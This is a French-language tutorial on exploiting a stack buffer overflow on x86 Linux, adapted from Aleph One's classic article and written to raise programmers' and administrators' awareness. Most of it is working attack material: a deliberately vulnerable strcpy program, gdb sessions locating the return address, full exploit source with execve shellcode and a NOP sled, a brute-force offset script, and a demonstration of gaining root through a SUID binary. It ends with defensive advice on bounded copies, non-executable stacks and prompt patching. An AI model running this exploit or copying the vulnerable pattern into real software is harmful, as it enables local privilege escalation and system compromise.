Cet article montre comment exploiter un débordement de tampon

 
 

 

 

Exploitation des débordements Tampons

 

0] Introduction
-------------------

Cet article montre comment exploiter un débordement de tampon. Il s'agit
d'abord ici de démystifier l'exploitation des failles de sécurité les plus
communes : les débordements de tampons dans la pile d'exécution. Ceci afin
de sensibiliser les programmeurs, les administrateurs et les responsables
des risques encourus simplement en expliquant le fonctionnement aux
personnes sensibles aux problèmes de sécurité.

Ce document part du principe que vous connaissez le fonctionnement de la
pile d 'exécution et celui des débordements de tampons. Pour cela vous pouvez
voir le document intitulé "Introduction aux débordements de buffer" de
Stéphane Aubert http://www.hsc.fr/ressources/breves/stackoverflow.html.
Quelques notions de C et de l 'utilisation d 'un débogueur comme gdb seront
les bienvenues.

Ce document, comme la quasi totalité des articles sur le sujet, reprend les
exemples du document  "Smashing The Stack For Fun And Profit " de Aleph One
http://www.phrack.org/show.php?p=49&a=14. Ici sont occultés les
explications nécessaires au fonctionnement de la pile d 'exécution et à
l 'écriture du shellcode; pour ne se concentrer que sur l 'exploitation du
débordement de tampon en donnant quelques explications supplémentaires par
rapport à l 'article original.

 

I] Présentation de la vulnérabilité
------------------------------------------

Le programme vulnérable que nous allons exploiter est le suivant. Il
contient un tampon de 512 octets dans lequel le programme recopie la chaîne
de caractères passée en premier argument par l 'utilisateur. Les programmes
nécessaires sont tous inclus dans l 'article et sont extractibles avec
l 'utilitaire extract présent dans tous les numéros du magazine phrack.

<++> vulnerable.c
void main(int argc, char *argv[]) {
char buffer[512];

if (argc > 1)
strcpy(buffer,argv[1]);
}
<-->


Les explications des fonctionnalités utilisées seront données après chaque
copie d 'écran.

De plus, tous les tests réalisés ici ont été effectués sur un système x86
sous Linux avec un compilateur gcc 2.95.x et un bibliothèque C glibc 2.2.x
et avec un environnement d 'environ 1,5 Ko depuis un terminal rxvt exécutant
un shell bash en version 2.0.x . Si les différents programmes devraient
fonctionner sur tout système x86, différentes versions de compilateur et de
bibliothèque C et une taille d 'environnement différente pourront faire
varier les différentes valeurs à utiliser. Le shellcode utilisé ici par
contre ne fonctionnera que sur Linux/x86.

 

2] Décorticage de la vulnérabilité
-----------------------------------------

Après compilation, il est facilement possible de vérifier que quelque chose
cloche dans le programme vulnérable puisqu 'il génère une erreur lorsqu 'un
paramètre de 1000 caractères lui est passé en premier argument.

---------------------------------------------------------------------
$ gcc -g -o vulnerable vulnerable.c
$ ./vulnerable `perl -e 'print "A" x 1000'`
Segmentation fault
$ gdb ./vulnerable
GNU gdb 5.0
[...]
(gdb) run `perl -e 'print "A" x 1000'`
Starting program: /home/ducamp/expl/aleph1/./vulnerable `perl -e 'print "A" x 1000'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141
(gdb) x/176xb $esp-88
0xbffff40c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff414: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
[...]
0xbffff4ac: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff4b4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
(gdb) q
The program is running. Exit anyway? (y or n) y
$

---------------------------------------------------------------------

Pour vérifier que ceci est le type de vulnérabilité recherchée, il faut
lancer gdb en lui indiquant le programme, puis lancer l 'exécution avec les
paramètres à utiliser. gdb indique que le programme a été interrompu suite à
la réception du signal SIGSEGV lors d 'une tentative d 'accès à l 'adresse
mémoire 0x41414141. En consultant le contenu de la pile (ici en hexadécimal
sur 176 octets depuis l 'adresse esp-88, esp étant le sommet de la pile), il
est possible de voir que celle-ci a été écrasée avec des caractères  "A "
(dont le code ASCII est 0x41 en hexadécimal).

Essayons de déterminer quand le problème a eu lieu :

---------------------------------------------------------------------
$ gdb ./vulnerable
GNU gdb 5.0
[...]
(gdb) break vulnerable.c:5
Breakpoint 1 at 0x80483f3: file vulnerable.c, line 5.
(gdb) run `perl -e 'print "A" x 1000'`
Starting program: /home/ducamp/expl/aleph1/./vulnerable `perl -e 'print "A" x 1000'`

Breakpoint 1, main (argc=2, argv=0xbffff4c4) at vulnerable.c:5
5 strcpy(buffer,argv[1]);
(gdb) x/176xb $esp-88
0xbffff1fc: 0x0c 0xf3 0xff 0xbf 0xb5 0x86 0x00 0x40
0xbffff204: 0xf4 0x57 0x01 0x40 0x0e 0x4f 0x00 0x00
[...]
0xbffff244: 0xdb 0x54 0x03 0x40 0xdb 0x54 0x03 0x40
0xbffff24c: 0x00 0x00 0x00 0x00 0xb5 0x86 0x00 0x40
0xbffff254: 0xf4 0x57 0x01 0x40 0x58 0x3a 0x00 0x00
0xbffff25c: 0x00 0x00 0x00 0x00 0xb4 0x25 0x00 0x40
[...]
0xbffff29c: 0x90 0x62 0x01 0x40 0x48 0xf3 0xff 0xbf
0xbffff2a4: 0x90 0x62 0x01 0x40 0xde 0x11 0x03 0x40
(gdb) next
6 }
(gdb) x/176xb $esp-88
0xbffff1fc: 0x58 0xca 0x12 0x40 0x64 0x5d 0x01 0x40
0xbffff204: 0xc4 0xf4 0xff 0xbf 0x0e 0x4f 0x00 0x00
[...]
0xbffff244: 0x5c 0xf2 0xff 0xbf 0x2a 0xf6 0xff 0xbf
0xbffff24c: 0x00 0x00 0x00 0x00 0xb5 0x86 0x00 0x40
0xbffff254: 0xf4 0x57 0x01 0x40 0x58 0x3a 0x00 0x00
0xbffff25c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
[...]
0xbffff29c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff2a4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) q
The program is running. Exit anyway? (y or n) y
$

---------------------------------------------------------------------

Nous venons de relancer le programme vulnérable sous gdb après avoir
positionné un point d 'arrêt (breakpoint) avant l 'appel à strcpy(). Le
programme s 'est arrêté avant d 'appeler cette fonction et à cet instant, la
pile d 'exécution est correcte. Durant l 'appel à strcpy(), la pile a été
écrasée, mais la partie correspondant aux données de strcpy est toujours
intacte donc le retour dans main() se déroule sans problème. En continuant
l 'exécution, c 'est à dire en sortant de main(), le programme utilise les
données de l 'utilisateur pour continuer son exécution et est redirigé vers
l 'adresse 0x41414141.

Pour exploiter cela, il faut maintenant déterminer combien de caractères il
faut mettre avant l 'adresse de retour, celle-ci indiquant l 'adresse du code
que nous souhaitons faire exécuter. Nous allons donc faire suivre une chaîne
de  "A " dont la taille est à déterminer de la chaîne  "EDCB " qui en
hexadécimal s 'écrit 0x42434445. Cette longueur doit être proche de 512 qui
est la taille totale des variables locales de la fonction main().

---------------------------------------------------------------------
$ gdb ./vulnerable
GNU gdb 5.0
[...]
(gdb) run `perl -e 'print "A" x 516 . "EDCB"'`
Starting program: /home/ducamp/expl/aleph1/./vulnerable `perl -e 'print "A" x 516 . "EDCB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42434445 in ?? ()
(gdb) q
The program is running. Exit anyway? (y or n) y

---------------------------------------------------------------------

L 'adresse à laquelle le processeur a voulu continuer l 'exécution du
processus correspond à la chaîne  "EDCB ". Après quelques essais, nous sommes
donc arrivés à mettre le nombre exact de caractères nécessaires pour placer
l 'adresse de retour à la bonne place et déterminer que la bonne taille sur
notre machine de test est de 516 octets.

Voyons en détail ce qu 'il s 'est passé :

---------------------------------------------------------------------
$ gdb ./vulnerable
GNU gdb 5.0
[...]
(gdb) break vulnerable.c:5
Breakpoint 1 at 0x80483f3: file vulnerable.c, line 5.
(gdb) run `perl -e 'print "A" x 516 . "EDCB"'`
Starting program: /home/ducamp/expl/aleph1/./vulnerable `perl -e 'print "A" x 516 . "EDCB"'`

Breakpoint 1, main (argc=2, argv=0xbffff6a4) at vulnerable.c:5
5 strcpy(buffer,argv[1]);
(gdb) p$eip
$1 = (void *) 0x80483f3
(gdb) p$esp
$2 = (void *) 0xbffff434
(gdb) x/40xb $esp+516-8
0xbffff630: 0x58 0xca 0x12 0x40 0x90 0xba 0x00 0x40
0xbffff638: 0x58 0xf6 0xff 0xbf 0x78 0xf6 0xff 0xbf
0xbffff640: 0xeb 0xe2 0x03 0x40 0x02 0x00 0x00 0x00
0xbffff648: 0xa4 0xf6 0xff 0xbf 0xb0 0xf6 0xff 0xbf
0xbffff650: 0x3c 0x84 0x04 0x08 0x00 0x00 0x00 0x00
(gdb) print &buffer
$3 = (char (*)[512]) 0xbffff43c
(gdb) x/4xb buffer+516
0xbffff640: 0xeb 0xe2 0x03 0x40
(gdb) next
6 }
(gdb) p$eip
$3 = (void *) 0x804840e
(gdb) p$esp
$4 = (void *) 0xbffff434
(gdb) x/40xb $esp+516-8
0xbffff630: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff638: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff640: 0x45 0x44 0x43 0x42 0x00 0x00 0x00 0x00
0xbffff648: 0xa4 0xf6 0xff 0xbf 0xb0 0xf6 0xff 0xbf
0xbffff650: 0x3c 0x84 0x04 0x08 0x00 0x00 0x00 0x00
(gdb) x/4xb buffer+516
0xbffff640: 0x45 0x44 0x43 0x42
(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x42434445 in ?? ()
(gdb) p$eip
$5 = (void *) 0x42434445
(gdb) p$esp
$6 = (void *) 0xbffff644
(gdb) q
The program is running. Exit anyway? (y or n) y
$

---------------------------------------------------------------------

Ici lorsque le programme arrive avant l 'appel à strcpy(), le registre eip
(pointeur vers l 'instruction à exécuter) vaut 0x80483f3 et le registre esp
(pointeur vers le haut de la pile) vaut 0xbffff434. Le tableau buffer a pour
adresse 0xbffff43c et l 'adresse 0xbffff640 (0xbffff43c+516 = buffer+516)
contient 0x4003e2eb.

Après l 'appel à strcpy(), eip vaut 0x804840e, esp vaut 0xbffff434 et
l 'adresse 0xbffff640 (buffer+516) contient 0x42434445. Après continuation de
l 'exécution, le programme reçoit le signal SIGSEGV pour avoir tenté de
continuer son exécution à partir de l 'adresse 0x42434445, c.-à-d. à
l 'adresse contenue à l 'adresse 0xbffff640.

 

3] Exploitation de la vulnérabilité
-----------------------------------------

La difficulté suivante est de déterminer l 'adresse de retour à placer à la
place de 0x42434445. Il s 'agit ici de la plus grosse difficulté dans
l 'exploitation d 'un débordement de tampon dans la pile d 'exécution. Tout
ceux qui se seront essayés à cela auront buté sur ce problème et beaucoup en
auront conclu, à tort malheureusement, qu 'il faut être un génie pour
résoudre ce problème...

En fait avec la bonne méthode, et surtout le bon programme tel que le
suivant, il est possible de rechercher par force brute les valeurs possibles
dans un cas particulier.

<++> exploit3.c
#include STDLIB.H

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)
buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
<-->
<++> sh.c
#include STDIO.H
main(){
printf("XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n"
"Smashing The Stack For Fun And Profit Smashing The Stack For Fun And Profit\n"
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n"
);
fflush(stdout);
}
<-->


Le programme exploit3 exécute un shell après avoir créé la variable
d 'environnement nommée EGG. La valeur attribuée à cette variable contient
entre autres :
. une série de NOP,
. le shell code,
. l 'adresse de retour (en de nombreux exemplaires pour en simplifier
l 'exploitation dans le cas où la vulnérabilité puisse se présenter dans
des configurations légèrement différentes du point de vue de sa pile
d 'exécution).

L 'adresse de retour est censée tomber quelque part dans la série de NOP au
début du tampon. Pour déterminer cette valeur, le programme récupère
l 'adresse de pointeur de pile (esp) et y soustrait un offset (déplacement)
donné par le deuxième paramètre. La taille du tampon est donnée par le
premier paramètre.

Nous allons utiliser le programme sh.c compilé en /tmp/sh pour nous aider à
déterminer ces valeurs. Pour cela nous avons aussi modifié le shellcode pour
qu 'il exécute /tmp/sh au lieu de /bin/sh ;)

Pour la taille du tampon à créer, il est nécessaire de prendre en compte la
taille du tampon à déborder et de celles des variables d 'à côté. Ici nous
n 'avons que le tampon à déborder et auparavant nous avons pu déterminer que
les 4 octets suivants les 516 premiers écrasaient la valeur de retour. Pour
prendre une marge, nous allons donner 612 comme longueur du tampon à créer.

Pour l 'offset à donner, nous allons essayer de découvrir sa valeur par force
brute ;) avec le petit programme en shell Bourne suivant :

<++>brute.sh
#!/bin/sh
i=0 ;
while test $i -lt 1000 ; do
echo == $i == `echo './vulnerable $EGG' | ./exploit3 612 $i` ;
i=`expr $i + 1` ;
done 2>&1
<-->


Tout d 'abord compiler les programmes et lancer le script de recherche par
force brute :

---------------------------------------------------------------------
$ gcc -o exploit3 exploit3.c
$ gcc -o sh sh.c
$ cp sh /tmp
$ chmod a-x brute.sh
$ . ./brute.sh > blah.txt

---------------------------------------------------------------------

Remarque : l 'interprétation du script par le shell courant ( ". ./brute.sh ")
est préféré à l 'interprétation par un autre shell lancé automatiquement
par le système ( "./brute.sh ") afin d 'obtenir des résultats directement
exploitables.

Autre remarque : il se peut que pour certaines valeurs, le programme
vulnérable boucle indéfiniment... ce sont les aléas des exploitations des
débordements de tampons ;) Il est donc conseillé de lancer une commande
top en même temps que le script de recherche... Le temps de recherche est
de toute façon supérieur à une minute.

Il suffit alors de rechercher dans le fichier blah.txt quelles sont les
valeurs d 'offset pour lesquelles la bannière du programme sh.c s 'est
affichée. Il est à remarquer que certains intervalles sont très efficaces
alors que d 'autres pas du tout... sur ma machine les valeurs à partir de 383
fonctionnent bien. Pour l 'exemple suivant j 'utilise 444 (choisie de façon à
avoir une adresse de retour proche du shellcode) :

---------------------------------------------------------------------
$ ./exploit3 612 424
Using address: 0xbffff654
$ gdb ./vulnerable
GNU gdb 5.0
[...]
(gdb) break vulnerable.c:5
Breakpoint 1 at 0x80483f3: file vulnerable.c, line 5.
(gdb) run $EGG
Starting program: /home/ducamp/expl/aleph1/./vulnerable $EGG

Breakpoint 1, main (argc=2, argv=0xbffff3f4) at vulnerable.c:5
5 strcpy(buffer,argv[1]);
(gdb) print &buffer
$1 = (char (*)[512]) 0xbffff18c
(gdb) x/4xb buffer+516
0xbffff390: 0xeb 0xe2 0x03 0x40
(gdb) next
6 }
(gdb) x/4xb buffer+516
0xbffff390: 0x54 0xf6 0xff 0xbf
(gdb) x/80xb 0xbffff654-8
0xbffff64c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff654: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff65c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff664: 0x90 0x90 0x90 0xeb 0x1f 0x5e 0x89 0x76
0xbffff66c: 0x08 0x31 0xc0 0x88 0x46 0x07 0x89 0x46
0xbffff674: 0x0c 0xb0 0x0b 0x89 0xf3 0x8d 0x4e 0x08
0xbffff67c: 0x8d 0x56 0x0c 0xcd 0x80 0x31 0xdb 0x89
0xbffff684: 0xd8 0x40 0xcd 0x80 0xe8 0xdc 0xff 0xff
0xbffff68c: 0xff 0x2f 0x74 0x6d 0x70 0x2f 0x73 0x68
0xbffff694: 0xf6 0xff 0xbf 0x54 0xf6 0xff 0xbf 0x54
(gdb) cont
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001f20 in _start () at rtld.c:161
161 rtld.c: No such file or directory.
(gdb) cont
Continuing.
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Program exited normally.
(gdb) q
$ ./vulnerable $EGG
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
$

---------------------------------------------------------------------

Ici nous avons lancé l 'exploit dans gdb et positionné un point d 'arrêt avant
l 'appel à la fonction strcpy() . Le tableau buffer se trouve à l 'adresse
0xbffff18c. À l 'adresse 0xbffff390 (0xbffff18c+516 = buffer+516) se trouve
la valeur 0x4003e2eb. Après l 'appel à strcpy() , c 'est maintenant la valeur
0xbffff650 qui se trouve à la même adresse. Cette valeur est bien celle
donnée par le programme exploit3 avant de lancer un shell.

En regardant à l 'adresse 0xbffff650, se trouve une suite de valeurs 0x90
correspondant à des NOP, puis les valeurs du shellcode... En faisant cont,
un signal SIGTRAP est obtenu. Ceci est dû au fait que le programme est en
cours de débogage et qu 'il vient d 'effectuer un appel à une fonction de la
famille des exec() . En continuant l 'exécution, le programme /tmp/sh est
bien lancé et l 'exécution se déroule normalement.

Après avoir quitté gdb, exécutez l 'exploit sans passer par gdb. Cela fait
afficher la bannière magique... :) et voilà votre première exploitation de
débordement de tampon en direct ;)

 

4] Et si le programme vulnérable avait été privilégié ?
-------------------------------------------------------------------

Pour que la démonstration soit complète, il faut alors copier la commande id
à la place du programme /tmp/sh et essayer d 'exploiter le programme
vulnérable avant et après l 'avoir mis SUID root.

Si nous n 'avons pas essayé de rendre le programme vulnérable SUID root plus
tôt, c 'est tout simplement qu 'un programme SUID ne peut être débogué sous
Linux et d 'autres systèmes. La raison est qu 'un utilisateur ne peut obtenir
le privilège d 'utiliser l 'appel système ptrace() sur un programme SUID.

---------------------------------------------------------------------
$ cp /usr/bin/id /tmp/sh
$ ./exploit3 612 424
Using address: 0xbffff654
$ ./vulnerable $EGG
uid=1000(ducamp) gid=1000(ducamp) groups=1000(ducamp)
$ su
Password:
# chown root:root vulnerable
# chmod u+s vulnerable
# ls -l vulnerable
-rwsr-xr-x 1 root root 13781 Sep 5 19:59 vulnerable
# exit
exit
$ ./vulnerable $EGG
uid=1000(ducamp) gid=1000(ducamp) euid=0(root) groups=1000(ducamp)
$ cp /bin/sh /tmp/sh
$ ./vulnerable $EGG
sh-2.05$ id
uid=1000(ducamp) gid=1000(ducamp) groups=1000(ducamp)
sh-2.05$

---------------------------------------------------------------------

Ici nous pouvons noter que lorsque la commande id est lancée par le
programme vulnérable qui possède des privilèges, le programme id est lui
aussi exécuté avec ces privilèges : l 'uid effectif est root.

Après avoir copié un shell (bash en version 2.0.x dans mon cas) à la place
de /tmp/sh et exploité la vulnérabilité, le shell ne parait avec aucun
privilège. En fait il s 'agit tout simplement d 'une  "fonctionnalité " de ce
shell qui ayant détecté que l 'uid réel et l 'uid effectif sont différents se
débarrasse de ses privilèges. En changeant le shellcode par un autre qui
exécute un setreuid(0) avant l 'appel à execve(), les uid réel et effectif
sont identiques et le shell garde alors les privilèges root.

Et n 'oubliez pas de supprimer ensuite le bit SUID root sur le programme
vulnérable lorsque vous en avez terminé, au risque de voir les utilisateurs
s 'en servir vous venez de le faire ;) (entrez  "chmod u-s vulnerable " en tant
que root).

 

5] Conclusion
-----------------

Maintenant que vous avez pu voir que l 'exploitation d 'un débordement de
tampon peut être une chose assez simple à effectuer, il est donc important
que les programmeurs changent leurs habitudes de programmation en incluant
de simples mesures.

La règle importante est de toujours vérifier les données provenant de
sources non sûres. Ces vérifications doivent prendre en compte le type des
données et leur taille. Ici en limitant la copie à la taille du tampon
destination, le problème aurait alors disparu :

<++>no-vuln.c
#define LNG 511
void main(int argc, char *argv[]) {
char buffer[LNG+1];

if (argc > 1)
strncpy(buffer,argv[1],LNG);
buffer[LNG]='\0';
}
<-->


Il est à noter que même en limitant les données à certains types de
caractères, comme des chiffres et des lettres (fonction isalnum()) il est
toujours possible, même si cela est plus difficile, d 'écrire un shellcode
qui passera le test. Pour des exemples de tels codes, consultez l 'article 15
du numéro 57 du magazine phrack. Certains shellcodes existants sont même
résistants aux fonctions tolower() ou toupper().

Il est donc très important de vérifier en taille les données reçues de
sources non sûres telles que les paramètres du programme, l 'entrée standard,
le contenu des fichiers à traiter, les données reçues d 'autres programmes
(même s 'ils font partie du même package) ou du réseau.

Les administrateurs systèmes sont aussi impliqués dans le processus : il est
très important de mettre à jour les démons et programmes locaux dès qu 'une
faille de sécurité est annoncée. Des fonctionnalités comme :
. une pile non exécutable (voir pour Linux le patch Openwall par Solar
Designer : http://www.openwall.com/linux/ )
. un patch au compilateur pour rendre les programmes auto-immunes (voir
pour Linux StackGuard
http://www.immunix.org/products.html#stackguard )
permettent seulement de rajouter une barrière supplémentaire, mais ne
constituent en aucun cas un mur infranchissable, chacune ayant ses
faiblesses (sauts par trampoline et vulnérabilités des chaînes de format).
Il est donc important dans tous les cas de mettre à jour ses systèmes dans
les plus brefs délais dès l 'annonce de la vulnérabilité.

Mais la plus grande responsabilité incombe aux décideurs : il est très
important de prendre en compte la sécurité. Ainsi, il est nécessaire de
laisser plus de temps aux développeurs pour s 'assurer qu 'un minimum de
vérifications soient réalisées et de laisser plus de temps aux
administrateurs pour suivre les listes de sécurité et mettre à jour les
systèmes dès que cela est nécessaire.

 

Remerciements :
--------------------
. à tous ceux qui ont testé ma démo, même quand elle était en version béta
. à tous les relecteurs de HSC
. à tous les eXperts sans qui les meilleurs détails ne seraient pas là